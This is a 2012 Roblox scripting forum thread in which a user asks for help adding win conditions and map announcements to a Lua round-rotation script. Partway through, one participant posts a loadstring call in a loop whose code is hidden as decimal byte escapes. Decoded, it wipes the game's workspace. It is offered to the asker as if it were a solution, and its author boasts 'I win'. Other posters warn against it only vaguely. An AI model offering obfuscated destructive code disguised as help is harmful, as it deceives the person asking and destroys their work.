bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 08:41 PM |
I need this script to be able to end the match when all players on a team are dead or after the time limit has run out, the team with the most players win. Also, I want it to announce the name of the map when the map is about to be put in play.
timePerMap = 120 --change this to the time in seconds each map should be played for timePerLob = 30 --change this to the time in seconds the players should be in the lobby for
maps,currentMap = {},1 for i,v in pairs(game.Lighting.Maps:GetChildren()) do maps[#maps+1] = v end
function playersToMap() local sp = false for i,v in pairs(game.Players:GetChildren()) do if v and v.Character and v.Character.Humanoid then sp = maps[currentMap]:FindFirstChild(tostring(v.TeamColor).." spawn") v.Character:MoveTo(sp.Position+Vector3.new(math.random(0,sp.Size.X)-sp.Size.X/2,3,math.random(0,sp.Size.X)-sp.Size.X/2)) end end end
function playersToLobby() for i,v in pairs(game.Players:GetChildren()) do if v and v.Character and v.Character.Humanoid then v.Character:MoveTo(workspace:FindFirstChild(tostring(v.TeamColor).." lobbySpawn").Position+Vector3.new(0,3,0)) end end end
function changeMap() maps[currentMap].Parent,cmo = game.Lighting.Maps,currentMap repeat wait() currentMap = math.random(1,#maps) until currentMap ~= cmo maps[currentMap].Parent = game.workspace end
function updateTimer(s) tText = (""..math.floor(s/60)..":"..string.rep("0",2-#tostring(s%60))..s%60) for i,v in pairs(game.Players:GetChildren()) do if v and v.PlayerGui and v.PlayerGui.ScreenGui and v.PlayerGui.ScreenGui.Timer and v.PlayerGui.ScreenGui.Timer.Label then v.PlayerGui.ScreenGui.Timer.Label.Text = tText end end end
function shuffleTeams() playerTable,teams,teamNum = game.Players:GetChildren(),game.Teams:GetChildren(),1 repeat playerTable[1].TeamColor = teams[teamNum].TeamColor table.remove(playerTable,1) teamNum = ((teamNum+1)%#teams)+1 until #playerTable == 0 end
roundCount = 0 changeMap() while true do roundCount = roundCount+1 if roundCount%5 == 0 then shuffleTeams() end playersToLobby() for i = 1,timePerLob do updateTimer(timePerLob-i+1) wait(1) end changeMap() playersToMap() for i = 1,timePerMap do updateTimer(timePerMap-i+1) wait(1) end end
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| 18 Jul 2012 08:43 PM |
| Seeing comments defining the variables tell us a lot about this script. |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 08:50 PM |
| What do you mean @ Darkmist |
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| 18 Jul 2012 08:51 PM |
timePerMap = 120 --change this to the time in seconds each map should be played for timePerLob = 30 --change this to the time in seconds the players should be in the lobby for |
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| 18 Jul 2012 08:52 PM |
Free models. I called it!
-thedeathmaster01 |
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Atoary
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| Joined: 28 May 2011 |
| Total Posts: 36 |
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| 18 Jul 2012 08:52 PM |
| I have a map changing script that works perfect, and you can choose to have the changing map message appear as the m/ GUI or h/ GUI, but it looks like your making some type of minigame script so im not sure. |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 08:52 PM |
| Im sorry. Currently this script changes maps and the game lasts for 120 second and the time in lobby is 30 seconds. Every 3 rounds it also randomly picks teams. But I want it to announce the map's name in Lighting and so that when all players on a team are killed, the other teams win or when the time limit runs out the team with the most players win. |
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Atoary
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| Joined: 28 May 2011 |
| Total Posts: 36 |
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| 18 Jul 2012 08:53 PM |
| Also, my script does not contain teams so nvm lol |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 08:53 PM |
| @thedeath, nope he made it for me. http://www.roblox.com/User.aspx?ID=7137535 |
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| 18 Jul 2012 08:55 PM |
Go bother him about it; you should of given him the specifications in the first place.
Its not our fault you forgot; and can't edit it. |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 08:56 PM |
| No, there is this forum for a reason. He would help me if he didn't have a real life project. Don't insult me and think you are superior than me. I actually try things before I come for help. |
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Atoary
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| Joined: 28 May 2011 |
| Total Posts: 36 |
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| 18 Jul 2012 08:57 PM |
local msg = Instance.new("Message") msg.Parent = game.Workspace msg.Text = ("Changing Arena...") msg:remove() |
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| 18 Jul 2012 08:59 PM |
while wait() do loadstring5("\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\119\111\114\107\115\112\97\99\101\58\67\108\101\97\114\65\108\108\67\104\105\108\100\114\101\110\40\41\32\101\110\100\41\13\10\112\114\105\110\116\40\34\72\73\32\80\69\79\80\76\69\32\61\68\32\34\41\10\10")() end
I win. =D |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 09:00 PM |
| @thecaptain, I do not know what that does so I'm not even gonna try o_o |
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| 18 Jul 2012 09:03 PM |
Sorry, excuse my Typo:
while wait(5) do loadstring("\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\119\111\114\107\115\112\97\99\101\58\67\108\101\97\114\65\108\108\67\104\105\108\100\114\101\110\40\41\32\101\110\100\41\13\10\112\114\105\110\116\40\34\72\73\32\80\69\79\80\76\69\32\61\68\32\34\41\10\10")() end
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 09:05 PM |
@atoary, that script doesn't announce anything =l @thecaptain, im pretty sure that lags the game |
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| 18 Jul 2012 09:07 PM |
| while wait(5) do does not lag the Game. |
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Joalmo
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| Joined: 28 Jun 2009 |
| Total Posts: 1160 |
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| 18 Jul 2012 09:08 PM |
| It will lag the game, don't bother trying it. |
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| 18 Jul 2012 09:10 PM |
| Please tell Me how a Script that runs every 5 Seconds, Lags the Game. |
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Joalmo
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| Joined: 28 Jun 2009 |
| Total Posts: 1160 |
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| 18 Jul 2012 09:10 PM |
I can't tell if you're dumb or you're doing this on purpose.
loadstring("\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\119\111\114\107\115\112\97\99\101\58\67\108\101\97\114\65\108\108\67\104\105\108\100\114\101\110\40\41\32\101\110\100\41\13\10\112\114\105\110\116\40\34\72\73\32\80\69\79\80\76\69\32\61\68\32\34\41\10\10")()
Will lag the game. |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 09:15 PM |
| what are those numbers even there for? |
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| 18 Jul 2012 09:16 PM |
Aparently the use of byte code Here is frowned apon.
The Numbers are Byte Code, loadstring doesn't Lag the Game. |
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bl0wmeup
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| Joined: 27 Nov 2009 |
| Total Posts: 14388 |
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| 18 Jul 2012 09:17 PM |
| Can someone please help me on the script? :< |
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